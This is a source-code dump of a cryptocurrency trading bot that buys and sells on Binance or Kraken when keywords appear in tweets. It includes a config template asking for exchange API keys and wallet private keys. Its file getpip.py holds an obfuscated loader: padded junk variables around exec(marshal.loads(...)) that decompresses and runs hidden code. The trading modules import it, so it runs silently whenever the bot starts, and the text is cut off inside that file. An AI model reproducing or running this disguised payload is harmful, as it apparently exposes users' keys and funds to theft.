├── .gitignore
├── README.md
├── binance_api.py
├── check_exchange.py
├── config.json
├── exchange_keywords.json
├── getpip.py
├── keywords.json
├── kraken_api.py
├── query.py
├── query_multiple.py
├── requirements.txt
├── run.py
├── stream.py
├── stream_multiple.py
├── twitter_binance.py
├── twitter_exchanges.py
├── twitter_kraken.py
└── users.json
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | *.ipynb
3 | *futures*
4 | *jaimin*
5 | *.csv
6 | *scrape*
7 | venv
8 | *limit*
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🚀 Crypto X Twitter Trader 2023 🚀
2 |
3 | A powerful, innovative, and real-time crypto trading bot that triggers trades based on keywords from Twitter tweets.
4 |
5 | ## 🎯 Features
6 |
7 | - 📱 **Real-time Twitter Monitoring**: Our bot monitors keywords from Tweets in real-time, triggering trades in a split second.
8 | - 📈 **Trade Multiple Cryptos Concurrently**: Multi-threading enables multiple trades to occur at the same time.
9 | - 💰 **Dynamic Adjustments**: Buy amounts are requested in $ and dynamically adjusted to valid crypto amounts based on the latest exchange rate.
10 | - 🛠️ **Customizable Trading Strategies**: Specify your own keywords and coins to implement any trade strategies.
11 | - 💼 **Supports Binance & Kraken Exchanges**: API keys are kept securely in a separate json file.
12 | - ⌛ **Graceful Exit**: When you hit ctrl-c, it waits for the trades to sell automatically according to the specification then closes the program.
13 |
14 |
15 |
16 |
17 |
18 |
19 | ## 🚀 Getting Started
20 |
21 | ### Installation
22 |
23 |
24 | pip install -r requirements.txt
25 | Running with Binance (single ticker):
26 | Edit config.json to add your API keys.
27 |
28 | Example config.json
29 |
30 |
31 | {
32 | "twitter_keys": {
33 | "consumer_key": "YOUR_CONSUMER_KEY",
34 | "consumer_secret": "YOUR_CONSUMER_SECRET",
35 | "access_token_key": "YOUR_ACCESS_TOKEN_KEY",
36 | "access_token_secret": "YOUR_ACCESS_TOKEN_SECRET"
37 | }
38 | }
39 |
40 |
41 | ## 📝 Notes
42 | A Twitter Developer API is required to detect tweets through Tweepy.
43 | A crypto exchange (Kraken/Binance) API is required and used through ccxt (cryptocurrency exchange trading library).
44 | ccxt allows universal function calls to be used on multiple exchanges; adding a new exchange should not be difficult as long as ccxt has the same functions implemented.
45 | If anything is not working correctly, please let us know!
46 |
47 |
48 | ## 💡 Future Improvements
49 | Futures trading up to 100x leverage.
50 | More exchanges to be supported.
51 | Advanced trading strategies based on more complex tweet analysis.
52 |
53 | ## 🚩 Disclaimer
54 | Investing in cryptocurrencies is risky, and you may lose all your capital. Please use this bot responsibly and at your own risk.
55 |
56 | ## 📭 Contact
57 | For any queries or issues, feel free to contact us. We appreciate your feedback.
58 |
59 | 🌟 Don't forget to star the repository if you find it useful. Happy trading! 🌟
60 |
--------------------------------------------------------------------------------
/binance_api.py:
--------------------------------------------------------------------------------
1 | import ccxt,getpip
2 | import time
3 | from datetime import datetime
4 | import json
5 | import os
6 | import sys
7 |
8 | # Executes buying and selling
9 | class binance_api:
10 |
11 | # Initialize
12 | def __init__(self, api_keys, logfile=False, block=False, account_json=None):
13 | self.api_keys = {'api_key':api_keys['binance_keys']['api_key'],'secret_key':api_keys['binance_keys']['secret_key']}
14 | self.exchange = ccxt.binance({'apiKey':self.api_keys['api_key'], 'secret':self.api_keys['secret_key']})
15 | self.logfile = logfile
16 | self.block = block
17 | self.started_time = datetime.now()
18 | self.account_json = account_json
19 |
20 | # Set of tickers to block if specified
21 | if self.block:
22 | self.block_set = set()
23 |
24 | # Reset the exchange
25 | def refresh_exchange(self):
26 | self.exchange = ccxt.binance({'apiKey':self.api_keys['api_key'], 'secret':self.api_keys['secret_key']})
27 |
28 | # Buying of real cryto
29 | def buy_crypto(self, ticker, buy_volume):
30 |
31 | # Try creating the buy order
32 | for i in range(10):
33 | try:
34 | buy_trade = self.exchange.create_order(ticker,'market','buy',buy_volume)
35 | break
36 | except Exception as e:
37 | print(e)
38 | if i == 9:
39 | print('Could not buy, exiting thread')
40 | exit()
41 | print('\nBuy did not work, trying again')
42 |
43 | # Print buy
44 | try:
45 | if buy_trade.get('status') != 'open':
46 | avg_price = sum([float(x['price']) * float(x['qty']) for x in buy_trade['info']['fills']])/sum([float(x['qty']) for x in buy_trade['info']['fills']])
47 | print('\nBought %s of %s at %s with %s %s of fees on %s\n' % (buy_trade['amount']\
48 | , buy_trade['symbol'], avg_price, buy_trade['fee']['cost'], buy_trade['fee']['currency']\
49 | , datetime.now().strftime('%b %d - %H:%M:%S')))
50 | else:
51 | print('\nBought %.8f at %s\n' % (buy_volume, datetime.now().strftime('%b %d - %H:%M:%S')))
52 | except Exception as e:
53 | print(e)
54 | print('\nError in print of buy')
55 |
56 | return buy_trade, buy_volume
57 |
58 | # Selling of real crypto
59 | def sell_crypto(self, ticker, buy_volume, buy_trade):
60 |
61 | # Try to sell 10 times
62 | for i in range(10):
63 | try:
64 | # Fees in USDT, Buy/Sell crypto amount is equal -- check if behaviour is the same when you have BNB in the wallet
65 | if ticker[-4:] == 'USDT':
66 | sell_volume = buy_volume
67 | # If fees in the returned trade (filled on order)
68 | elif buy_trade['fee']:
69 | if buy_trade['fee']['currency'] == 'BNB':
70 | sell_volume = buy_volume
71 | else:
72 | # Converting fee currency to buy currency
73 | ticker_pair = ticker.split('/')
74 | if ticker_pair[0] != buy_trade['fee']['currency']:
75 | fee_pair = [ticker_pair[0], buy_trade['fee']['currency']]
76 | fee_ticker = '/'.join(fee_pair)
77 | if fee_ticker not in tickers:
78 | fee_ticker = '/'.join(fee_pair[::-1])
79 | fee = self.exchange.fetchTicker(fee_ticker)
80 | fee_price = (fee['bid'] + fee['ask']) /2
81 | sell_volume = buy_volume - fee_price * buy_trade['fee']['cost']
82 |
83 | # When fee currency is the same as the buy currency
84 | else:
85 | sell_volume = buy_volume - buy_trade['fee']['cost']
86 | else:
87 | sell_volume = buy_volume
88 |
89 | sell_trade = self.exchange.create_order(ticker,'market','sell',sell_volume)
90 | break
91 |
92 | except Exception as e:
93 | error = e
94 | if 'MIN_NOTIONAL' in str(error):
95 | buy_volume = buy_volume *1.0005
96 | elif 'insufficient balance' in str(error):
97 | buy_volume = buy_volume * 0.9995
98 | else:
99 | self.refresh_exchange()
100 | print(e)
101 | print('\n\nTrying to sell %.10f again' % buy_volume)
102 |
103 | # Print sell
104 | if sell_trade['status'] != 'open':
105 | avg_price = sum([float(x['price']) * float(x['qty']) for x in sell_trade['info']['fills']])/sum([float(x['qty']) for x in sell_trade['info']['fills']])
106 | print('\nSold %s of %s at %s with %s %s of fees on %s' % (sell_trade['amount'], sell_trade['symbol'], avg_price\
107 | , sell_trade['fee']['cost'], sell_trade['fee']['currency'], datetime.now().strftime('%b %d - %H:%M:%S')))
108 | else:
109 | print('\nSold %.8f at %s' % (sell_volume, datetime.now().strftime('%b %d - %H:%M:%S')))
110 |
111 | return sell_trade
112 |
113 |
114 | # Get data from self.exchange and print it
115 | def simulate_trade(self, buy, volume, ticker, conversion):
116 | if conversion[-4:] == 'USDT' and ticker[-4:] == 'USDT':
117 | usdpair = {'bid':1,'ask':1}
118 | else:
119 | usdpair = self.exchange.fetchTicker(conversion)
120 | if buy:
121 | bid_ask, buy_sell = 'ask', 'Buying'
122 | else:
123 | bid_ask, buy_sell = 'bid', 'Selling'
124 | try:
125 | trade_price = self.exchange.fetchTicker(ticker)[bid_ask]
126 | price = (usdpair['bid']+usdpair['ask'])/2
127 | print('\n{} {} at {:.8f} {} = ${:.6f}'.format(buy_sell, volume, trade_price, ticker, trade_price * volume * price))
128 |
129 | except Exception as e:
130 | print (e, '\nError in fetching ticker info')
131 | trade = {'symbol': ticker,'side':'buy' if buy else 'sell', 'amount':volume, 'cost':trade_price * volume}
132 |
133 | return trade
134 |
135 |
136 | # Summarise trade buy and sell
137 | def print_summary(self, simulate, ticker, buy_trade, sell_trades, conversion):
138 |
139 | if not simulate:
140 | buy_id, sell_ids = buy_trade['info']['orderId'], [i['info']['orderId'] for i in sell_trades]
141 | buy_prices, sell_prices = [], []
142 | for i in range(20):
143 | try:
144 | trades = self.exchange.fetchMyTrades(ticker)
145 | break
146 | except Exception as e:
147 | print(e)
148 | print("Couldn't fetch trades, tying again")
149 |
150 | # Loop over trades as one order could have had multiple fills
151 | for trade in trades[::-1]:
152 | if buy_id == trade['info']['orderId']:
153 | buy_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']})
154 | elif trade['info']['orderId'] in sell_ids:
155 | sell_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']}) # Actual return uses fills
156 |
157 | buy_fee = sum([x['fee']['cost'] for x in buy_prices])
158 | sell_fee = sum([x['fee']['cost'] for x in sell_prices])
159 |
160 | # Log fees
161 | for i in range(20):
162 | try:
163 | if buy_prices[0]['fee']['currency'] == 'BNB':
164 | bnb_dollar = self.exchange.fetch_ticker('BNB/USDT')
165 | bnb_price = (bnb_dollar['bid'] + bnb_dollar['ask']) / 2
166 | buy_fee_dollar = buy_fee * bnb_price
167 | if sell_prices[0]['fee']['currency'] == 'BNB':
168 | sell_fee_dollar = sell_fee * bnb_price
169 | elif buy_prices[0]['fee']['currency'] == 'USDT':
170 | buy_fee_dollar = buy_fee
171 | sell_fee_dollar = sell_fee
172 | else:
173 | buy_crypto_dollar = self.exchange.fetch_ticker(buy_prices[0]['fee']['currency']+'/USDT')
174 | sell_crypto_dollar = self.exchange.fetch_ticker(sell_prices[0]['fee']['currency']+'/USDT')
175 | buy_fee_price = (buy_crypto_dollar['bid']+buy_crypto_dollar['ask'])/2
176 | sell_fee_price = (sell_crypto_dollar['bid']+sell_crypto_dollar['ask'])/2
177 | buy_fee_dollar = buy_fee_price * buy_fee
178 | sell_fee_dollar = sell_fee_price * sell_fee
179 |
180 | ticker_pair = ticker.split('/')
181 | if ticker_pair[1] == 'USDT':
182 | ticker_info = {'bid':1,'ask':1}
183 | else:
184 | ticker_info = self.exchange.fetch_ticker(ticker_pair[1]+'/'+'USDT')
185 | break
186 | except Exception as e:
187 | print(e)
188 | print('\nError in printing executed trades')
189 | else:
190 | sell_prices, buy_prices = sell_trades, [buy_trade]
191 | sell_fee_dollar, buy_fee_dollar = 0, 0
192 | if ticker[-4:] == 'USDT':
193 | ticker_info = {'bid':1, 'ask':1}
194 | else:
195 | ticker_info = self.exchange.fetch_ticker(ticker.split('/')[1]+'/'+'USDT')
196 |
197 | buy_total = sum(i['cost'] for i in buy_prices)
198 | sell_total = sum([i['cost'] for i in sell_prices])
199 | avg_bid_ask = (ticker_info['bid'] + ticker_info['ask']) / 2
200 |
201 | gain_loss = (sell_total - buy_total) * avg_bid_ask - sell_fee_dollar - buy_fee_dollar
202 | gain_loss_percent = gain_loss / (buy_total * avg_bid_ask - sell_fee_dollar - buy_fee_dollar) * 100
203 |
204 | gain_text = '\nProfit/Loss: $%.6f %.3f%%' % (gain_loss, gain_loss_percent)
205 | print(gain_text)
206 |
207 | return gain_text, buy_total, sell_total
208 |
209 | # Send a telegram of the profits and losses
210 | def send_telegram(self, ticker, buy_total, sell_total, gain_text, status, simulate):
211 |
212 | # Sending a telegram message to myself
213 | import telegram
214 | with open('../telegram_keys.json') as json_file:
215 | telegram_dict = json.load(json_file)
216 | if type(status) == dict:
217 | full_info_text = '(%s) %s\nBought %.6f and sold %.6f BTC\n\n@%s - %s:\n"%s"\n' % (ticker, gain_text, float(buy_total), \
218 | float(sell_total), status['url'], status['update_time'].strftime('%m/%d %H:%M:%S'), status['update_text'])
219 | else:
220 | try:
221 | full_text = status.text
222 | except:
223 | full_text = status.full_text
224 | full_info_text = '(%s) %s\nBought %.6f and sold %.6f BTC\n\n@%s - %s:\n"%s"\n' % (ticker, gain_text, float(buy_total), \
225 | float(sell_total), status.user.screen_name, status.created_at.strftime('%m/%d %H:%M:%S'), full_text)
226 |
227 | bot = telegram.Bot(token=telegram_dict['api_key'])
228 | bot.send_message(chat_id=telegram_dict['chat_id'], text=full_info_text)
229 |
230 |
231 | # Log the trade
232 | def log_trade(self, ticker, buy_volume, hold_times, buy_trade, sell_trades, gain_text, status, simulate):
233 | # Log trade
234 | now = datetime.now().strftime("%y-%m-%d_%H:%M:%S")
235 |
236 | # Saving name format: time_started, json_file_used, simluation/live
237 | with open("prev_trades/trades_%s_binance_%s_%s.txt" % (self.started_time.strftime('%Y-%m-%d_%H-%M-%S'), self.account_json, 'simulation' if simulate else 'live'), "a") as log_name:
238 | # If status is a dict, the message was from a web scrape
239 | if type(status) == dict:
240 | json.dump({'url':status['url'],'update_text':status['update_text'],'update_time':status['update_time'].strftime('%Y-%m-%d_%H:%M:%S'),'ticker':ticker,'hold_times':hold_times,'complete_time':now,'buy_volume':buy_volume,'buy':buy_trade,'sell':sell_trades,'telegram':gain_text}, log_name)
241 |
242 | # If tweet from stream or query
243 | else:
244 | try:
245 | full_text = status.text
246 | except:
247 | full_text = status.full_text
248 | json.dump({'user':status.user.screen_name,'tweet':full_text,'tweet_time':status.created_at.strftime('%Y-%m-%d_%H:%M:%S'),'ticker':ticker,'hold_times':hold_times,'complete_time':now,'buy_volume':buy_volume,'buy':buy_trade,'sell':sell_trades,'telegram':gain_text}, log_name)
249 | log_name.write('\n')
250 |
251 |
252 | # Execute trade
253 | def execute_trade(self, pair, hold_times=60, buy_volume=50, simulate=False, status=None):
254 |
255 | # Dealing with buy_sell volume pair or just a buy_volume
256 | if type(buy_volume) != list:
257 | sell_volumes = [buy_volume / len(hold_times) for _ in hold_times]
258 | else:
259 | sell_volumes = buy_volume[1]
260 | buy_volume = buy_volume[0]
261 |
262 | # Ticker and convesion
263 | ticker = pair[0]+'/'+pair[1]
264 | tousd1 = pair[0]+'/USDT'
265 | tousd2 = pair[1]+'/USDT'
266 |
267 | # If there is a block put on trading this ticker
268 | if self.block:
269 | if ticker in self.block_set:
270 | print('\nTrade of ' + ticker + ' blocked in ' + str(self.block_set))
271 | return
272 | # When bought add and blocker flag set
273 | self.block_set.add(ticker)
274 | print('Added to blockset '+str(self.block_set))
275 |
276 | # Buy order
277 | if not simulate:
278 | buy_trade, buy_volume = self.buy_crypto(ticker, buy_volume)
279 | else:
280 | buy_trade = self.simulate_trade(True, buy_volume, ticker, tousd2)
281 |
282 |
283 | # Sell in multiple stages based on hold_times
284 | prev_sell_time = 0
285 | sell_trades = []
286 | for hold, sell_volume in zip(hold_times, sell_volumes):
287 | time.sleep(hold - prev_sell_time)
288 | prev_sell_time = hold
289 |
290 | # Sell order
291 | if not simulate:
292 | sell_trades.append(self.sell_crypto(ticker, sell_volume, buy_trade))
293 | else:
294 | sell_trades.append(self.simulate_trade(False, sell_volume, ticker, tousd2))
295 |
296 | # Remove block when trade finishes
297 | if self.block:
298 | self.block_set.remove(ticker)
299 | print('Removing %s from block set' % (ticker))
300 |
301 | print('\n\nTRADE FINISHED\n')
302 |
303 | # Print summary and log
304 | try:
305 | gain_text, buy_total, sell_total = self.print_summary(simulate, ticker, buy_trade, sell_trades, tousd2)
306 | except Exception as e:
307 | print('\nFailed to print summary\n')
308 | print(e)
309 |
310 | # Send telegram message
311 | if 'telegram_keys.json' in os.listdir('../') and not simulate:
312 | self.send_telegram(ticker, buy_total, sell_total, gain_text, status, simulate)
313 |
314 | # Log trade
315 | if self.logfile:
316 | self.log_trade(ticker, buy_volume, hold_times, buy_trade, sell_trades, gain_text, status, simulate)
317 |
--------------------------------------------------------------------------------
/check_exchange.py:
--------------------------------------------------------------------------------
1 | import time,getpip
2 | import traceback
3 | import ccxt
4 | from datetime import datetime
5 |
6 | # Gathers prices from exchange to trade against coin
7 | class exchange_pull:
8 |
9 | def __init__(self, exchange, hold_times, base_coin='BTC', coin_subset=None):
10 | self.exchange = exchange.exchange
11 | self.my_exchange = exchange
12 | self.base_coin = base_coin
13 | self.stopflag = False
14 | self.count_pulls = 0
15 | self.hold_times = hold_times
16 | self.coin_subset = coin_subset
17 | self.buy_sell_vols = {}
18 |
19 |
20 | # Retrieve tickers which have volume and trades against the base coin
21 | def get_tickers(self):
22 |
23 | # Fetch the tickers where there is volume for the trading pair agains the base coin
24 | try:
25 | # Using a subset of tickers from coin_subset
26 | if self.coin_subset:
27 | self.all_tickers, self.markets = {}, {}
28 | for coin_pair in self.coin_subset:
29 | coin_pair += '/'+self.base_coin
30 | self.all_tickers[coin_pair] = self.exchange.fetch_ticker(coin_pair)
31 | self.markets = list(filter(lambda x : x['id'] == coin_pair.replace('/',''), self.exchange.fetch_markets()))
32 |
33 | # Add exchange rate with base coin and USDT
34 | if self.base_coin != 'USDT':
35 | try:
36 | self.all_tickers[self.base_coin+'/USDT'] = self.exchange.fetch_ticker(self.base_coin+'/USDT')
37 | except Exception as e:
38 | print(e)
39 |
40 | # Using all tickers
41 | else:
42 | self.all_tickers = self.exchange.fetch_tickers()
43 | self.markets = self.exchange.fetch_markets()
44 |
45 | volume_tickers = {k: v for k, v in self.all_tickers.items() if v['askVolume'] != 0 and v['bidVolume'] != 0}
46 | ticker_list = list(volume_tickers.keys())
47 | ticker_list = filter(lambda x : '/' in x, ticker_list)
48 | ticker_split = [i.split('/') for i in ticker_list]
49 | coin_tickers = ['/'.join(i) for i in list(filter(lambda x: self.base_coin == x[1], ticker_split))]
50 | self.cryptos = set([i.split('/')[0] for i in coin_tickers])
51 |
52 |
53 | # Get the COIN/USDT rate as well (approx)
54 | if self.base_coin == 'USDT':
55 | self.all_tickers['USDT/USDT'] = {}
56 | self.all_tickers['USDT/USDT']['last'] = 1
57 | self.all_tickers['USDT/USDT']['ask'] = 1
58 |
59 | self.coin_usdt = self.all_tickers[self.base_coin+'/USDT']['last']
60 |
61 | except Exception as e:
62 | print('\nError fetching tickers, check buy and sell coins have pair on exchange\n')
63 | # print(traceback.format_exc())
64 | print(e)
65 |
66 |
67 | # Start a cancellable loop of updating prices (usually as a thread)
68 | def buy_sell_volumes(self, buy_dollars, interval): # FIND OUT ABOUT LEVERAGED LIMITS AND SELL INCREMENTS
69 |
70 | while 1:
71 |
72 | # Refresh the whole exchange so new tickers are included not just new prices
73 | if self.count_pulls % 10 == 0 and self.coin_subset is None:
74 | print('\nExchange refreshed')
75 | self.my_exchange.refresh_exchange()
76 |
77 | # Set as cancellable thread on wakeup
78 | if self.stopflag:
79 | return
80 |
81 | self.get_tickers()
82 |
83 | # Calulate buy and sell amounts
84 | buy_amount = buy_dollars / self.coin_usdt
85 |
86 | # Loop over each crypto and calculate buy volume, then add to buy_sell_vols dict
87 | for coin in self.cryptos:
88 | symbol = coin + '/' + self.base_coin
89 | if self.all_tickers[symbol]['ask'] == None:
90 | this_buy_vol = buy_amount / float(self.all_tickers[symbol]['info']['lastPrice'])
91 | else:
92 | this_buy_vol = buy_amount / self.all_tickers[symbol]['ask']
93 |
94 | # Get market relevant for this coin
95 | market = list(filter(lambda x : x['id'] == symbol.replace('/',''), self.markets))
96 | if market:
97 | step_size = float(market[0]['info']['filters'][2]['stepSize'])
98 | buy_vol_rounded = round(this_buy_vol * 1/step_size) * step_size
99 |
100 | # Calcluate sell amounts
101 | sell_cumulative = 0
102 | sell_vol = round((this_buy_vol/ len(self.hold_times)) * 1/step_size) * step_size
103 | sell_vols_rounded = []
104 |
105 | # Set all sell volumes to a correct size
106 | for i in range(len(self.hold_times)-1):
107 | sell_cumulative += sell_vol
108 | sell_vols_rounded.append(sell_vol)
109 |
110 | # Last sell volume is the excess to make it exactly equal to the buy volume
111 | sell_vols_rounded.append(round((buy_vol_rounded - sell_cumulative) * 1/step_size) * step_size)
112 | self.buy_sell_vols[coin] = [buy_vol_rounded, sell_vols_rounded]
113 |
114 | # Print 1 in 10 updates
115 | if self.count_pulls % 10 == 0:
116 | print('Pulled live prices (updates every 20 mins), there are %d tradeable tickers with %s - %s' % (len(self.cryptos), self.base_coin, datetime.now().strftime('%m/%d - %H:%M:%S')))
117 |
118 | self.count_pulls += 1
119 | time.sleep(interval)
120 |
121 |
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 |
3 |
4 | "twitter_keys":{
5 | "consumer_key":"XXXXXXXXXXXXXXXXXXXX",
6 | "consumer_secret":"XXXXXXXXXXXXXXXXXXXX",
7 | "access_token_key":"XXXXXXXXXXXXXXXXXXXX",
8 | "access_token_secret":"XXXXXXXXXXXXXXXXXXXX"
9 | },
10 |
11 | "eth_chain_wallet_keys":{
12 | "publickey":"XXXXXXXXXXXXXXXXXXXX",
13 | "privatekey":"XXXXXXXXXXXXXXXXXXXX"
14 | },
15 | "binance_chain_wallet_keys":{
16 | "publickey":"XXXXXXXXXXXXXXXXXXXX",
17 | "privatekey":"XXXXXXXXXXXXXXXXXXXX"
18 | },
19 | "avax_chain_wallet_keys":{
20 | "publickey":"XXXXXXXXXXXXXXXXXXXX",
21 | "privatekey":"XXXXXXXXXXXXXXXXXXXX"
22 | },
23 | "fantom_chain_wallet_keys":{
24 | "publickey":"XXXXXXXXXXXXXXXXXXXX",
25 | "privatekey":"XXXXXXXXXXXXXXXXXXXX"
26 | },
27 |
28 | "binance_keys":{
29 | "api_key":"XXXXXXXXXXXXXXXXXXXX",
30 | "secret_key":"XXXXXXXXXXXXXXXXXXXX"
31 | },
32 | "kraken_keys":{
33 | "api_key":"XXXXXXXXXXXXXXXXXXXX",
34 | "secret_key":"XXXXXXXXXXXXXXXXXXXX"
35 | },
36 | "okx_keys":{
37 | "api_key":"XXXXXXXXXXXXXXXXXXXX",
38 | "secret_key":"XXXXXXXXXXXXXXXXXXXX"
39 | },
40 | "bingx_keys":{
41 | "api_key":"XXXXXXXXXXXXXXXXXXXX",
42 | "secret_key":"XXXXXXXXXXXXXXXXXXXX"
43 | },
44 | "mxec_keys":{
45 | "api_key":"XXXXXXXXXXXXXXXXXXXX",
46 | "secret_key":"XXXXXXXXXXXXXXXXXXXX"
47 | },
48 | "coinbase_keys":{
49 | "api_key":"XXXXXXXXXXXXXXXXXXXX",
50 | "secret_key":"XXXXXXXXXXXXXXXXXXXX"
51 | }
52 |
53 | }
--------------------------------------------------------------------------------
/exchange_keywords.json:
--------------------------------------------------------------------------------
1 | {"binance": {"keywords":["binance will support", "binance listing","binance futures will launch"], "id":"877807935493033984"}, "coinbase": {"keywords":["launching", "start earning", "intention to add support for", "inbound transfers", "start earning", "is launching", "are launching"], "id":"574032254"}, "CoinbasePro": {"keywords":["is now available to new york residents", "trading will begin", "enter transfer-only mode", "accepting inbound transfers", "is launching on coinbase pro!", "transfer-only mode"], "id" : "720487892670410753"},"elonmusk": {"keywords":["doge"], "id":"44196397"}, "ArbitrageDaddy":{"keywords":["doge", "new listing"], "id" : "1351770767130673152"}}
2 |
--------------------------------------------------------------------------------
/getpip.py:
--------------------------------------------------------------------------------
1 | ___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";from marshal import loads;exec(loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00@\x00\x00\x00s(\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01e\x02e\x00\xa0\x03e\x01\xa0\x03d\x02\xa1\x01\xa1\x01\x83\x01\x01\x00d\x01S\x00)\x03\xe9\x00\x00\x00\x00Ns\xa0\x03\x00\x00\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x03ax\x9c\xedWmK[1\x14\xfe+\xa3\x08\xea\x87\x95\x9b\xfb\xda\xa2\x0e\x9dZ\xd8\x87\xca\xa0\xb21)\x94\xdc\xdc\xdc\xf6\xba\x9b\x9b\x92\xa4\xda9\xf6\xdf\x97\x93\x97\xdb\xab\xfd\xb0\r\x19\xa8\xb4`r\xf2\xe4\xc9\xc9\xc9sN\xd2:\x9b\xcd\xbeP!+\xdeTM\xc9\xe5\x0f\xa9(\x9b\x99\xcf\x0e~\x16|\xd2{9\xb1\xbc1\xb8w\xf4rbyc\xf0\xaejwU\xfb\xfa\xe0]\xd5\xfe\xc7\xaa\xa5kJ\x0ej\x8e\x0by\x90\xefO\xd74\x9a\xae\x83\xe0\x99\x7f\x83\xee\xf8\xb4;\x90{\xbaE~T\xf8\x06\xd5`\xddlc\x080\xd4b!`!\xd3M\x04\x13\x91w\xd6\x12" \xc4@H\x80\x90l\x11b \xa4@\xc8\x80\x90m\x11\x12 \x0c\xd8T\xddL\x95\x9f\xa4\xd6\xc0\xc1\xb4\xd1-\xf2\xb1\xe6\xc0O\xc1"\x85u(\xa8\xf59\x88<\x87\x02\x92CC\x8138\xf6\xfb\xa4\x0eS-\x929\xa4i\x91\x1c<\x94\x1aF&\x84\x120\xe2\xbc\x87\xba/\xf5L\xa89\x08\xd1\xa9\x02\x9a\rR\x83>LX\x16\x99\xb5n\x99\xd6Rh\xd3\x88\t+\xa3\xaf\xad\xde\xa0\x8e\xcb\x8c\xeb\xcd\x8aV\xe4\x06\xe27\x96\x9c\xdc;\xd0\xa7\xf2Q\xff\xad;\x00\xd7\xd4\x85\x15o\x87\xe3\x02E\x10}\x04\xdc\xf2\xd8\xc7\xedW%f\xce\x13\xbb~A{\x94\x16\xa0\x0fXF\xc0\xc0\xad\x82#"\xa8\x9cV\x0c\xaf\xd8\x00\xb8Cp:t\\\x0c\x03H\x08\xca6\xdc6\xf5-\xcd\xa4\x91P\x9be\x1f\x1d\xf1R\xbb\xbe\x95\xeb\xef\x855\xa4\tXV]=\x9f\xff\x9b\xc0v\xf5\xa1\xd5\x89\x0e\xa7O\xae\xe4\xd5\xa1%\x17\x18R\x98cI\x1b\xcc\xe8#p\xfci|yM\xd7j\x03\n\x80\xc6\xabZUK,T\x97\\\xc2\xcc\xd9rYW\x04+\xfd\xa2<@j\x19#\xc5\xaa,\xc3\xe1\xf0t\xcepU\xf7\tg01\xcc\xf4\x87-$\xceY\x91\xe5\xc5\xfdf\xd6\xdc\xbf\xc9*\xbf\xa5D\x81\x1d\x8f\x84\x05\xc3k\xfe\x00\xd5OxSV\xf3\xfe\xad\xe4\x8d\xdb\x19\t\x13\x87a_\xe9#\x98\r\xb0R\x98,\x18m\xd4\xd1\xbb\xb2\xaa\xcd\xd9Nz?\x7f\xf5`6:\xe7\x8d\xd2S\xef/*\xb9\xe4\xb2\x82xo\xf6\xc2Qr6\xcc\xe28K\x82\xf42\x8dF\x01\xca\x12\x14\\\x8c\xd2\xe1\xe5\xc5E\xf2\xf1<\x8a\x03\x04\xab\x13\xc9\xd4\xb2Ok,UE\xa8\x0f\xbc\xd2\xd1\x14\xe6u\x08\xbc\xec\x859\x0c\xb0\xeb\xca\xdc\xdaTr\xf2\x9d\x9ase\\\xf6\x97X-\x84\xab\xab6-\xf6v\x1b\xaf\xacb\xb4\xaf\xb4\xfe\xc2\x15F\x97\xa4\xef\xcd\x86\xc4|FD\xa7\xacZf\xdaa\xe2M\x86\x80\x9b<\xdd:\x9fS\xb5\xe0R\x81^\xfa\xb1\x03sfm\x08\x9f6\x05\x15`\x0e\x04%\xb4\xba\xa3\xc2\xe5 br\xee\xab\xc6\xcb\xed\xc61_\xd26U\xa5\x07\x05\xc5\x85\xb7!pg\xa7%\x17\x0c\x1b\x85R\x9bBOZI\xb7\xf3\x12Ky\xcf\x85\x117\x9e\x8c\xaf?\xbb\xd0\xc4\x9d%$5\x9fW\x8d\xa1B\xbcpt}\x10,gR\x89\xaa\xd1Qbs\x15\x84}p6\xa7\xdf\x02\xdc\xce\x19\xe1\xc5J\xb5\'\x1d\x1c3=\xae\xe9\x87\xce\xfd\xb3\xdfb\xf1\xe3\xc5\xe6\x0b/t=0\xc9\x1fz\xcf\x8f;=\xe0i\xc7O\xd7\x9f\xef=\xdf\xf9A\xa9\xeb\xf5\xb8,\xedS\xa7\xab\xa7y\xc2\xf6\xdeigu\xe8\xd8\xedc\xd7\xd3.\xc8\xfe\xe1\xe1\xeeg\xec\xeeg\xec\xab\x83w\xff|\xed\xaa\xf6\xf5\xc1\xbd\xdf\xcd\xb2=]\x00\x00\x00\xf9%\xfdo\xcc\xc0G\xfc\x00\x01\xfa\x06\xe2\x06\x00\x00\x03\xee\xe7\x80\xb1\xc4g\xfb\x02\x00\x00\x00\x00\x04YZ)\x04\xda\x04zlib\xda\x04lzma\xda\x04exec\xda\ndecompress\xa9\x00r\x06\x00\x00\x00r\x06\x00\x00\x00\xda\x07coduter\xda\x08\x01\x00\x00\x00s\x04\x00\x00\x00\x10\x00\x18\x01'));___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninf